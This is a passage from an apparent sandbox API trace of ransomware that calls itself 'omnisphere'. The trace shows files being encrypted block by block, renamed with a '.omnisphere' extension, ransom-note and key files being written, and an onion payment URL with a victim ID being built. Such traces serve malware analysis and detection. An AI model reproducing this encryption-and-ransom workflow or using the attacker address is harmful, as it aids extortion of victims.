pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.709] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.709] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0119.709] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.709] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.709] GetProcessHeap () returned 0x1600000 [0119.709] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x16aec08 [0119.710] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cbldwgvswubgkhtjub.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cbldwgvswubgkhtjub.lnk.omnisphere")) returned 1 [0119.711] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk.omnisphere.id" [0119.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cbldwgvswubgkhtjub.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.711] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.713] CloseHandle (hObject=0x3c0) returned 1 [0119.713] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.713] CloseHandle (hObject=0x288) returned 1 [0119.713] SetEndOfFile (hFile=0x28c) returned 1 [0119.713] FlushFileBuffers (hFile=0x28c) returned 1 [0119.719] CloseHandle (hObject=0x28c) returned 1 [0119.719] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.719] GetProcessHeap () returned 0x1600000 [0119.719] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be568 [0119.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.719] GetProcessHeap () returned 0x1600000 [0119.719] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1cd0 [0119.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1cd0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.719] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.720] GetProcessHeap () returned 0x1600000 [0119.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afb88 [0119.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afb88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.720] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.720] GetProcessHeap () returned 0x1600000 [0119.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2980 [0119.720] PathCombineW (in: pszDest=0x16a2980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.720] GetProcessHeap () returned 0x1600000 [0119.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b8ad0 [0119.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.720] WriteFile (in: hFile=0x28c, lpBuffer=0x16b8ad0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b8ad0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.720] CloseHandle (hObject=0x28c) returned 1 [0119.721] GetProcessHeap () returned 0x1600000 [0119.721] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be568 | out: hHeap=0x1600000) returned 1 [0119.721] GetProcessHeap () returned 0x1600000 [0119.721] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.721] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.722] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.722] CloseHandle (hObject=0x28c) returned 1 [0119.722] GetProcessHeap () returned 0x1600000 [0119.722] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.722] GetProcessHeap () returned 0x1600000 [0119.722] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a2ff8 | out: hHeap=0x1600000) returned 1 [0119.722] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x257b0071, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x257b0071, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0119.722] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2102c5fa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2102c5fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2102c5fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0xd3, cFileName="cvDAOhNO K.lnk", cAlternateFileName="CVDAOH~1.LNK")) returned 1 [0119.722] GetProcessHeap () returned 0x1600000 [0119.722] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656ac0 [0119.722] PathCombineW (in: pszDest=0x1656ac0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="cvDAOhNO K.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk" [0119.722] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.722] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cvdaohno k.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.723] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=648) returned 1 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.723] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] GetTickCount () returned 0x115dea4 [0119.724] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0119.725] CryptImportKey 